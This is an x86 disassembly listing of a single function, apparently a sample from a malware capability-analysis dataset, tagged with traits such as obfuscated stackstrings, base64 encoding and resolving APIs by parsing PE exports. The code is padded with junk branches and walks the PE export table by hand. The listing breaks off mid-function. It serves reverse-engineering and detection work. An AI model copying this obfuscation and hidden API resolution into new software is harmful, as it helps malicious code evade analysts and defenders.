Function at 0x10047df3
Capabilities:
Check http status code
Check os version
Contain obfuscated stackstrings
Encode data using base64
Get graphical window text
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1008bd7a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xe74
push esi
and dword [ebp - 0x1c], 0
movzx eax, byte [ebp + 0x18]
test eax, eax
je 0x1004e100
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x50], 0xa3367f5e
push 2
lea ecx, [ebp - 0x3a0]
call fcn.1001704c
and dword [ebp - 4], 0
mov dword [ebp - 0x70], 0xf7398071
mov dword [ebp - 0xfc], 0xba8a7e8b
push 0x392
lea eax, [ebp - 0xcb4]
push eax
push 0x2a6
lea eax, [ebp - 0x3a0]
push eax
push 1
call fcn.10046528
add esp, 0x14
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x50], eax
jge 0x10047e87
mov dword [ebp - 0x510], 1
jmp 0x10047e8e
and dword [ebp - 0x510], 0
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x510], eax
jl 0x10047ea5
mov dword [ebp - 0x748], 1
jmp 0x10047eac
and dword [ebp - 0x748], 0
cmp dword [ebp - 0x50], 0
jbe 0x10047ebe
mov dword [ebp - 0x738], 1
jmp 0x10047ec5
and dword [ebp - 0x738], 0
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x738], eax
jle 0x10047edc
mov dword [ebp - 0x740], 1
jmp 0x10047ee3
and dword [ebp - 0x740], 0
cmp dword [ebp - 0x740], 0xa0d4
jl 0x10047efb
mov dword [ebp - 0x750], 1
jmp 0x10047f02
and dword [ebp - 0x750], 0
mov eax, dword [ebp - 0x748]
cmp eax, dword [ebp - 0x750]
je 0x10047f1c
mov dword [ebp - 0x974], 1
jmp 0x10047f23
and dword [ebp - 0x974], 0
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0xce8], eax
mov dword [ebp - 0x50], 0x38dc5336
cmp dword [ebp - 0x50], 0
je 0x10048506
mov dword [ebp - 0x60], 0x9cb0
mov dword [ebp - 0xb8], 0xc245e320
mov dword [ebp - 0x3e4], 0
mov dword [ebp - 0x1dc], 0
jmp 0x10047f71
mov eax, dword [ebp - 0x1dc]
inc eax
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 4
jge 0x10047f8d
mov eax, dword [ebp - 0x1dc]
mov dword [ebp + eax*4 - 0x83c], 0xffffffff
jmp 0x10047f64
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0xc14], eax
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0xcac], eax
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0xc1c], eax
cmp dword [ebp - 0xb8], 0
je 0x10047fc6
cmp dword [ebp - 0x60], 0
je 0x10047fc6
mov dword [ebp - 0x8a4], 1
jmp 0x10047fcd
and dword [ebp - 0x8a4], 0
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x8ac], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x8ac]
mov dword [ebp + eax - 0x83c], ecx
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0xd1c], eax
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0xb40], eax
push 1
lea ecx, [ebp - 0x3a0]
call fcn.100170ea
push 0
lea ecx, [ebp - 0x3a0]
call fcn.100170ea
cmp dword [eax], 0
jge 0x10048029
mov dword [ebp - 0x78c], 1
jmp 0x10048030
and dword [ebp - 0x78c], 0
push 1
lea ecx, [ebp - 0x3a0]
call fcn.100170ea
mov ecx, dword [ebp - 0x78c]
cmp ecx, dword [eax]
jl 0x10048053
mov dword [ebp - 0x794], 1
jmp 0x1004805a
and dword [ebp - 0x794], 0
cmp dword [ebp - 0x794], 0x43a1
jge 0x1004807f
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x83c], 0
jne 0x1004807f
and dword [ebp - 0x79c], 0
jmp 0x10048089
mov dword [ebp - 0x79c], 1
cmp dword [ebp - 0x79c], 0x5bfe
jne 0x100480a1
mov dword [ebp - 0x38c], 1
jmp 0x100480a8
and dword [ebp - 0x38c], 0
push 0
lea ecx, [ebp - 0x3a0]
call fcn.100170ea
mov ecx, dword [ebp - 0x38c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x70]
add eax, dword [ebp - 0x38c]
neg eax
cmp eax, dword [ebp - 0x60]
jl 0x100480d9
mov dword [ebp - 0x7a4], 1
jmp 0x100480e0
and dword [ebp - 0x7a4], 0
mov eax, dword [ebp - 0xb8]
add eax, dword [ebp - 0x7a4]
cmp eax, 0xc77e
jg 0x100480ff
mov dword [ebp - 0x7ac], 1
jmp 0x10048106
and dword [ebp - 0x7ac], 0
mov eax, dword [ebp - 0x60]
cmp dword [ebp - 0x7ac], eax
jg 0x1004812a
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x83c], 0
jne 0x1004812a
and dword [ebp - 0x780], 0
jmp 0x10048134
mov dword [ebp - 0x780], 1
mov eax, dword [ebp - 0x60]
cmp dword [ebp - 0x780], eax
jne 0x1004815d
push 0
lea ecx, [ebp - 0x3a0]
call fcn.100170ea
cmp dword [eax], 0
je 0x1004815d
mov dword [ebp - 0x790], 1
jmp 0x10048164
and dword [ebp - 0x790], 0
mov eax, dword [ebp - 0x60]
neg eax
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0xb58], eax
mov eax, dword [ebp - 0x790]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0xfc], eax
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0xb60], eax
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0xb68], eax
cmp dword [ebp - 0xb8], 0x14efc71
je 0x100481b7
mov dword [ebp - 0x3b4], 1
jmp 0x100481be
and dword [ebp - 0x3b4], 0
mov eax, dword [ebp - 0x3b4]
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x70], 0xfffffff5
jmp 0x100481da
mov eax, dword [ebp - 0x70]
dec eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0xfffffff4
jle 0x10048504
mov dword [ebp - 0x108], 6
mov dword [ebp - 0x118], 0
push 1
lea ecx, [ebp - 0x3a0]
call fcn.100170ea
cmp dword [eax], 0
jne 0x10048293
mov dword [ebp - 0x108], 0
cmp dword [ebp - 0x108], 0
jne 0x10048293
mov eax, dword [ebp - 0xfc]
neg eax
cmp dword [ebp - 0x108], eax
jle 0x1004823d
mov dword [ebp - 0x730], 1
jmp 0x10048244
and dword [ebp - 0x730], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x83c]
cmp dword [ebp - 0x730], eax
jl 0x10048265
mov dword [ebp - 0x8b4], 1
jmp 0x1004826c
and dword [ebp - 0x8b4], 0
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0x118], eax
mov eax, dword [ebp - 0x118]
mov dword [ebp - 0xb70], eax
cmp dword [ebp - 0x70], 0
jne 0x10048293
and dword [ebp - 0x5cc], 0
jmp 0x1004829d
mov dword [ebp - 0x5cc], 1
mov eax, dword [ebp - 0x60]
cmp dword [ebp - 0x5cc], eax
jg 0x100482b4
mov dword [ebp - 0x3bc], 1
jmp 0x100482bb
and dword [ebp - 0x3bc], 0
cmp dword [ebp - 0x3bc], 0
jne 0x100482d0
mov dword [ebp - 0x774], 1
jmp 0x100482d7
and dword [ebp - 0x774], 0
push 1
lea ecx, [ebp - 0x3a0]
call fcn.100170ea
mov ecx, dword [ebp - 0x774]
mov dword [eax], ecx
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0xb78], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x83c]
mov dword [ebp - 0xb80], eax
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x3c4], eax
push 0
lea ecx, [ebp - 0x3a0]
call fcn.100170ea
mov ecx, dword [ebp - 0x3c4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x118]
cmp dword [ebp - 0x3c4], eax
jne 0x10048346
mov dword [ebp - 0x5d4], 1
jmp 0x1004834d
and dword [ebp - 0x5d4], 0
mov eax, dword [ebp - 0x60]
cmp eax, dword [ebp - 0x5d4]
jne 0x10048364
mov dword [ebp - 0x3cc], 1
jmp 0x1004836b
and dword [ebp - 0x3cc], 0
cmp dword [ebp - 0x3cc], 0xbbd8
jg 0x10048383
mov dword [ebp - 0x6dc], 1
jmp 0x1004838a
and dword [ebp - 0x6dc], 0
cmp dword [ebp - 0x6dc], 0x6f27
jge 0x100483a2
mov dword [ebp - 0x3d4], 1
jmp 0x100483a9
and dword [ebp - 0x3d4], 0
mov eax, dword [ebp - 0x70]
imul eax, dword [ebp - 0x3d4]
test eax, eax
jne 0x100483c5
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x83c], 0
cmp dword [ebp - 0x50], 0
jne 0x100483dc
or eax, 0xffffffff
jne 0x100483dc
mov dword [ebp - 0x5dc], 1
jmp 0x100483e3
and dword [ebp - 0x5dc], 0
mov eax, dword [ebp - 0x3e4]
cmp dword [ebp - 0x5dc], eax
je 0x100483fd
mov dword [ebp - 0x3dc], 1
jmp 0x10048404
and dword [ebp - 0x3dc], 0
cmp dword [ebp - 0x3dc], 0xfffc
jne 0x1004841c
mov dword [ebp - 0x8bc], 1
jmp 0x10048423
and dword [ebp - 0x8bc], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x83c]
mov dword [ebp - 0xb88], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x83c], 0xfffffffa
jne 0x10048452
mov dword [ebp - 0x760], 1
jmp 0x10048459
and dword [ebp - 0x760], 0
mov eax, dword [ebp - 0x108]
cmp dword [ebp - 0x760], eax
jle 0x10048473
mov dword [ebp - 0x8c4], 1
jmp 0x1004847a
and dword [ebp - 0x8c4], 0
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0xb90], eax
mov eax, 0xd3b
test eax, eax
je 0x100484a0
or eax, 0xffffffff
je 0x100484a0
mov dword [ebp - 0x5e4], 1
jmp 0x100484a7
and dword [ebp - 0x5e4], 0
mov eax, dword [ebp - 0x3e4]
cmp dword [ebp - 0x5e4], eax
je 0x100484c1
mov dword [ebp - 0x3ec], 1
jmp 0x100484c8
and dword [ebp - 0x3ec], 0
mov eax, dword [ebp - 0x118]
cmp eax, dword [ebp - 0x3ec]
jle 0x100484e2
mov dword [ebp - 0x92c], 1
jmp 0x100484e9
and dword [ebp - 0x92c], 0
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0xb98], eax
mov dword [ebp - 0x118], 1
jmp 0x100481d3
jmp 0x10048523
mov byte [ebp - 0xa7], 0
lea eax, [ebp - 0xa7]
push eax
push 1
push 0x5b0c
call fcn.100465be
add esp, 0xc
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3a0]
call fcn.100170ce
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x41c], eax
mov dword [ebp - 0x48], 0xfffffffc
mov dword [ebp - 0x7a8], 6
mov dword [ebp - 0xba0], 0x4186e145
mov dword [ebp - 0xba8], 1
mov dword [ebp - 0xbb0], 0x42b4cf22
mov dword [ebp - 0xbb8], 0
mov dword [ebp - 0xbc0], 0xffffffff
mov dword [ebp - 0xbc8], 0xfffffffc
mov dword [ebp - 0xbd0], 0xffffffff
mov dword [ebp - 0xbd8], 0x46983c17
push 2
lea ecx, [ebp - 0xc68]
call fcn.1001704c
mov dword [ebp - 4], 1
mov dword [ebp - 0xbe0], 0
mov dword [ebp - 0x5fc], 5
push 1
lea eax, [ebp - 0xbe8]
push eax
lea eax, [ebp - 0xc68]
push eax
call fcn.10046610
add esp, 0xc
mov dword [ebp - 0x48], 0xfffffff0
jmp 0x100485ec
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0xfffffffc
jne 0x100487b9
mov dword [ebp - 0x138], 0xffffffff
mov dword [ebp - 0x16c], 0
jmp 0x10048619
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 3
jge 0x10048635
mov eax, dword [ebp - 0x16c]
mov dword [ebp + eax*4 - 0xd34], 0xd9403132
jmp 0x1004860c
mov eax, dword [ebp - 0x138]
add eax, dword [ebp - 0x48]
cmp eax, 0xe800
jl 0x10048651
mov dword [ebp - 0x6e4], 1
jmp 0x10048658
and dword [ebp - 0x6e4], 0
mov eax, dword [ebp - 0x48]
imul eax, dword [ebp - 0x6e4]
add eax, dword [ebp - 0x48]
cmp dword [ebp - 0x138], eax
jl 0x1004867d
push 8
pop eax
test eax, eax
jne 0x1004867d
and dword [ebp - 0x3f4], 0
jmp 0x10048687
mov dword [ebp - 0x3f4], 1
cmp dword [ebp - 0x3f4], 0
jle 0x1004869c
mov dword [ebp - 0x5ec], 1
jmp 0x100486a3
and dword [ebp - 0x5ec], 0
cmp dword [ebp - 0x5ec], 0x5773
jg 0x100486bb
mov dword [ebp - 0x934], 1
jmp 0x100486c2
and dword [ebp - 0x934], 0
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0xbf0], eax
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0xbf8], eax
mov eax, 0xdfbc43cc
add eax, 7
cmp eax, dword [ebp - 0x48]
jl 0x100486f0
mov dword [ebp - 0x3fc], 1
jmp 0x100486f7
and dword [ebp - 0x3fc], 0
mov eax, dword [ebp - 0x3fc]
mov dword [ebp - 0x7a8], eax
mov eax, dword [ebp - 0x7a8]
cmp dword [ebp - 0x48], eax
jne 0x1004871a
mov dword [ebp - 0x404], 1
jmp 0x10048721
and dword [ebp - 0x404], 0
mov eax, dword [ebp - 0x48]
cmp dword [ebp - 0x404], eax
jne 0x10048738
mov dword [ebp - 0x5f4], 1
jmp 0x1004873f
and dword [ebp - 0x5f4], 0
mov eax, dword [ebp - 0x48]
cmp eax, dword [ebp - 0x5f4]
jg 0x10048756
mov dword [ebp - 0x40c], 1
jmp 0x1004875d
and dword [ebp - 0x40c], 0
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x40c]
cmp eax, dword [ebp - 0x138]
je 0x1004877a
mov dword [ebp - 0x6ec], 1
jmp 0x10048781
and dword [ebp - 0x6ec], 0
mov eax, dword [ebp - 0x138]
cmp eax, dword [ebp - 0x6ec]
je 0x1004879b
mov dword [ebp - 0x414], 1
jmp 0x100487a2
and dword [ebp - 0x414], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x414]
mov dword [ebp + eax - 0xd34], ecx
jmp 0x100485e5
mov eax, dword [ebp - 0x5fc]
inc eax
mov dword [ebp - 0x5fc], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc68]
call fcn.100170ce
mov eax, dword [ebp - 0x41c]
movzx eax, word [eax]
cmp eax, 0x5a4d
je 0x100487ea
jmp 0x1004e190
mov eax, dword [ebp - 0x41c]
mov ecx, dword [ebp - 0x2c]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0xec], ecx
mov eax, dword [ebp - 0xec]
cmp dword [eax], 0x4550
je 0x1004880f
jmp 0x1004e190
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xec]
lea eax, [ecx + eax + 0x78]
mov dword [ebp - 0x58], eax
mov dword [ebp - 0xa60], 0x71177e8e
mov dword [ebp - 0xa5c], 0x71177e8e
mov dword [ebp - 0xa58], 0x71177e8e
mov dword [ebp - 0xa54], 0x71177e8e
lea ecx, [ebp - 0x35d]
call fcn.1000ab93
push eax
lea eax, [ebp - 0xa50]
push eax
lea eax, [ebp - 0xa60]
push eax
lea ecx, [ebp - 0xd88]
call fcn.100170f9
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xc78]
call fcn.100170a8
mov dword [ebp - 4], 2
push 3
lea ecx, [ebp - 0x7fc]
call fcn.1001704c
mov byte [ebp - 4], 3
push 3
lea ecx, [ebp - 0xa80]
call fcn.1001704c
mov byte [ebp - 4], 4
mov dword [ebp - 0x120], 0
jmp 0x100488c1
mov eax, dword [ebp - 0x120]
inc eax
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 3
jge 0x100488e0
push dword [ebp - 0x120]
lea ecx, [ebp - 0x7fc]
call fcn.100170ea
or dword [eax], 0xffffffff
jmp 0x100488b4
lea eax, [ebp - 0x120]
push eax
push 0x314a
push 0x4f54
push 0
lea eax, [ebp - 0xa80]
push eax
push 0xc5c
push 0x5bd8
call fcn.1004670d
add esp, 0x1c
push 2
lea ecx, [ebp - 0x7fc]
call fcn.100170ea
and dword [eax], 0
jmp 0x10048942
push 2
lea ecx, [ebp - 0x7fc]
call fcn.100170ea
mov dword [ebp - 0x768], eax
mov eax, dword [ebp - 0x768]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x768]
mov dword [ecx], eax
push 2
lea ecx, [ebp - 0x7fc]
call fcn.100170ea
cmp dword [eax], 3
jg 0x1004897a
push 0
lea eax, [ebp - 0xa80]
push eax
push 0x1d3e
lea eax, [ebp - 0x7fc]
push eax
lea eax, [ebp - 0xc78]
push eax
call fcn.10047df3
add esp, 0x14
jmp 0x1004891e
mov byte [ebp - 4], 3
lea ecx, [ebp - 0xa80]
call fcn.100170ce
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x7fc]
call fcn.100170ce
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc78]
call fcn.100170ce
mov eax, dword [ebp - 0x58]
cmp dword [eax + 4], 0
jne 0x100489b5
jmp 0x1004e190
push 3
lea ecx, [ebp - 0xad4]
call fcn.1001704c
mov dword [ebp - 4], 5
mov dword [ebp - 0x148], 0xdada439b
mov dword [ebp - 0x93c], 1
lea eax, [ebp - 0xad4]
push eax
push 0
lea eax, [ebp - 0xc00]
push eax
call fcn.10046c14
add esp, 0xc
push 0x1522
lea eax, [ebp - 0x93c]
push eax
lea eax, [ebp - 0x148]
push eax
push 0
lea eax, [ebp - 0xad4]
push eax
push 0x5a98
call fcn.10046a37
add esp, 0x18
mov dword [ebp - 0x148], 0
jmp 0x10048a37
mov eax, dword [ebp - 0x148]
inc eax
mov dword [ebp - 0x148], eax
cmp dword [ebp - 0x148], 0x11
jge 0x10048a62
mov byte [ebp - 0xae], 0
movzx eax, byte [ebp - 0xae]
test eax, eax
je 0x10048a60
push 1
push 0x667e
call fcn.100466c8
pop ecx
pop ecx
jmp 0x10048a2a
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xad4]
call fcn.100170ce
and dword [ebp - 0x38], 0
mov eax, dword [ebp - 0xec]
movzx eax, word [eax + 0x14]
mov ecx, dword [ebp - 0xec]
lea eax, [ecx + eax + 0x18]
mov dword [ebp - 0x5a4], eax
mov dword [ebp - 0x170], 0x90ac204e
mov dword [ebp - 0x954], 0xe9bf9f36
mov dword [ebp - 0x170], 0x13
jmp 0x10048abc
mov eax, dword [ebp - 0x170]
dec eax
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 0xfffffff1
jg 0x10048b90
mov dword [ebp - 0xf4], 0x197f0a2
mov dword [ebp - 0x94c], 3
mov dword [ebp - 0x174], 0
jmp 0x10048af6
mov eax, dword [ebp - 0x174]
inc eax
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 1
jge 0x10048b12
mov eax, dword [ebp - 0x174]
mov dword [ebp + eax*4 - 0x944], 0x17ca
jmp 0x10048ae9
mov dword [ebp - 0xf4], 0
jmp 0x10048b2b
mov eax, dword [ebp - 0xf4]
dec eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 0
jl 0x10048b8b
mov eax, dword [ebp - 0xf4]
mov ecx, dword [ebp - 0xf4]
cmp dword [ebp + eax*4 - 0x944], ecx
jg 0x10048b55
mov dword [ebp - 0x424], 1
jmp 0x10048b5c
and dword [ebp - 0x424], 0
mov eax, dword [ebp - 0x94c]
cmp dword [ebp - 0x424], eax
jle 0x10048b76
mov dword [ebp - 0x604], 1
jmp 0x10048b7d
and dword [ebp - 0x604], 0
mov eax, dword [ebp - 0x604]
mov dword [ebp - 0x954], eax
jmp 0x10048b1e
jmp 0x10048aaf
mov byte [ebp - 0xb3], 0
movzx eax, byte [ebp - 0xb3]
test eax, eax
je 0x10048bb6
push 0xe94
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
push 0x4fc2
lea eax, [ebp - 0xec]
push eax
lea eax, [ebp - 0x58]
push eax
push 1
push 0xdd0
lea eax, [ebp - 0x5a4]
push eax
lea eax, [ebp - 0x38]
push eax
call fcn.1004670d
add esp, 0x1c
push 3
lea ecx, [ebp - 0xb28]
call fcn.1001704c
mov dword [ebp - 4], 6
mov dword [ebp - 0x128], 7
mov dword [ebp - 0xc08], 0x272a727
mov dword [ebp - 0xc10], 1
push 3
lea ecx, [ebp - 0xc88]
call fcn.1001704c
mov byte [ebp - 4], 7
push 2
lea ecx, [ebp - 0xa8c]
call fcn.1001704c
mov byte [ebp - 4], 8
mov dword [ebp - 0x64], 0
jmp 0x10048c44
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 3
jge 0x10048c60
push dword [ebp - 0x64]
lea ecx, [ebp - 0xb28]
call fcn.100170ea
mov dword [eax], 1
jmp 0x10048c3d
push 0x411
push 0x38e
push 0x6a53
lea eax, [ebp - 0xc88]
push eax
lea eax, [ebp - 0x64]
push eax
push 0x6892
push 0
call fcn.1004769a
add esp, 0x1c
mov dword [ebp - 0x64], 0
jmp 0x10048c99
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 2
jge 0x10048cb5
push dword [ebp - 0x64]
lea ecx, [ebp - 0xa8c]
call fcn.100170ea
mov dword [eax], 0xfffffff6
jmp 0x10048c92
mov dword [ebp - 0x128], 0
jmp 0x10048cce
mov eax, dword [ebp - 0x128]
inc eax
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 2
jg 0x10048d08
mov dword [ebp - 0x42c], 0xb3b9
mov eax, dword [ebp - 0x42c]
inc eax
mov dword [ebp - 0x42c], eax
push dword [ebp - 0x128]
lea ecx, [ebp - 0xb28]
call fcn.100170ea
cmp dword [eax], 0
je 0x10048d06
jmp 0x10048d08
jmp 0x10048cc1
lea eax, [ebp - 0xa8c]
push eax
push 0x7efc
push 0
push 0x5df5
call fcn.1004796f
add esp, 0x10
mov byte [ebp - 4], 7
lea ecx, [ebp - 0xa8c]
call fcn.100170ce
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xc88]
call fcn.100170ce
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb28]
call fcn.100170ce
cmp dword [ebp - 0x38], 0
jne 0x10048d5b
jmp 0x1004e190
push 3
lea ecx, [ebp - 0xb1c]
call fcn.1001704c
mov dword [ebp - 4], 9
mov dword [ebp - 0x10c], 0x2df3
mov dword [ebp - 0x140], 1
mov dword [ebp - 0x964], 1
push 3
lea ecx, [ebp - 0xb04]
call fcn.1001704c
mov byte [ebp - 4], 0xa
mov dword [ebp - 0x6f4], 0xa7f4
push 0
push 0x2901
push 0x28a0
push 0x7b58
lea eax, [ebp - 0xb1c]
push eax
push 0x6a21
lea eax, [ebp - 0x95c]
push eax
call fcn.1004693e
add esp, 0x1c
lea eax, [ebp - 0x95c]
push eax
lea eax, [ebp - 0xb04]
push eax
push 0
call fcn.10047432
add esp, 0xc
push 1
lea eax, [ebp - 0xb1c]
push eax
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x140]
push eax
lea eax, [ebp - 0xb04]
push eax
lea eax, [ebp - 0x964]
push eax
call fcn.10046821
add esp, 0x18
mov dword [ebp - 0x10c], 0
jmp 0x10048e32
mov eax, dword [ebp - 0x10c]
inc eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0x1c
jl 0x10048f14
mov dword [ebp - 0x96c], 1
mov dword [ebp - 0x1b8], 0
jmp 0x10048e62
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 1
jge 0x10048e7e
mov eax, dword [ebp - 0x1b8]
mov dword [ebp + eax*4 - 0x840], 0xffffffff
jmp 0x10048e55
mov dword [ebp - 0x140], 0xffffffe2
jmp 0x10048e97
mov eax, dword [ebp - 0x140]
inc eax
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 0xffffffe4
jg 0x10048ec1
mov eax, dword [ebp - 0x96c]
mov dword [ebp - 0x6f4], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x6f4]
mov dword [ebp + eax - 0x840], ecx
jmp 0x10048e8a
mov byte [ebp - 0xa9], 0
movzx eax, byte [ebp - 0xa9]
test eax, eax
je 0x10048f0f
push 0x2743
push 0xf2b
push 0x5ac4
push 0x40e4
push 0x402d
push 0x162f
push 0x145a
push 0x6a2f
push 0x193f
push 0x381a
push 0
call fcn.10046e0e
add esp, 0x2c
jmp 0x10048e25
mov byte [ebp - 4], 9
lea ecx, [ebp - 0xb04]
call fcn.100170ce
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb1c]
call fcn.100170ce
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x38]
add ecx, dword [eax]
add ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x54], 0xfffffffb
push 1
lea ecx, [ebp - 0x378]
call fcn.1001704c
mov dword [ebp - 4], 0xb
mov dword [ebp - 0x44c], 0x34572090
mov dword [ebp - 0x484], 0x2c22a665
mov dword [ebp - 0x3c], 0
jmp 0x10048f7f
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 1
jge 0x10048f9b
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x378]
call fcn.100170ea
mov dword [eax], 0xc760
jmp 0x10048f78
mov dword [ebp - 0x3c], 0
jmp 0x10048fab
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 2
jge 0x10048fc1
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x7f0], 0xffffffff
jmp 0x10048fa4
mov dword [ebp - 0x3c], 0
jmp 0x10048fd1
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 3
jge 0x10048fe7
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0xd58], 0xfffffffc
jmp 0x10048fca
mov dword [ebp - 0x54], 0xffffffe7
jmp 0x10048ff7
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0x15
je 0x10049615
mov dword [ebp - 0x28], 0xbc588e1b
mov dword [ebp - 0x368], 0
mov dword [ebp - 0x984], 0xcf86
mov dword [ebp - 0x9e0], 0xfffb
mov dword [ebp - 0x614], 0xc330e0
mov dword [ebp - 0x358], 0
mov eax, dword [ebp - 0x368]
mov dword [ebp - 0xc18], eax
cmp dword [ebp - 0x28], 0x9382
jl 0x1004905b
mov dword [ebp - 0x97c], 1
jmp 0x10049062
and dword [ebp - 0x97c], 0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0xc20], eax
cmp dword [ebp - 0x984], 8
jg 0x10049080
mov dword [ebp - 0x434], 1
jmp 0x10049087
and dword [ebp - 0x434], 0
mov eax, dword [ebp - 0x54]
sub eax, dword [ebp - 0x434]
imul eax, dword [ebp - 0x54]
cmp eax, dword [ebp - 0x28]
jge 0x1004909f
cmp dword [ebp - 0x54], 0
je 0x100490b2
push 0xfffffffffffffffe
pop eax
test eax, eax
je 0x100490b2
mov dword [ebp - 0x98c], 1
jmp 0x100490b9
and dword [ebp - 0x98c], 0
mov eax, dword [ebp - 0x368]
mov dword [ebp - 0xc28], eax
push 4
pop eax
cmp eax, 0x35c2
je 0x100490db
mov dword [ebp - 0x60c], 1
jmp 0x100490e2
and dword [ebp - 0x60c], 0
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x60c]
jle 0x100490f4
cmp dword [ebp - 0x9e0], 0
mov eax, 0x8d7d2a7e
test eax, eax
je 0x1004910f
cmp dword [ebp - 0x54], 0
je 0x1004910f
mov dword [ebp - 0x43c], 1
jmp 0x10049116
and dword [ebp - 0x43c], 0
mov eax, dword [ebp - 0x54]
cmp dword [ebp - 0x43c], eax
je 0x10049164
mov dword [ebp - 0x9e4], 0xffffffff
mov dword [ebp - 0x9e8], 0xffffffff
push 1
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x9e8]
push eax
push 0x5cf1
lea eax, [ebp - 0x9e4]
push eax
push 0x40f8
call fcn.1004693e
add esp, 0x1c
jmp 0x10049610
mov dword [ebp - 0x474], 0xfffffffb
push 2
lea ecx, [ebp - 0xab0]
call fcn.1001704c
mov byte [ebp - 4], 0xc
mov dword [ebp - 0x704], 0xe67e28f6
mov dword [ebp - 0x7b4], 0xffffffff
mov dword [ebp - 0x130], 0
jmp 0x100491ac
mov eax, dword [ebp - 0x130]
inc eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 1
jge 0x100491c8
mov eax, dword [ebp - 0x130]
mov dword [ebp + eax*4 - 0xc0], 0xcb1beba4
jmp 0x1004919f
lea eax, [ebp - 0x130]
push eax
push 0xd95
push 0x163b
push 1
push 0x5679
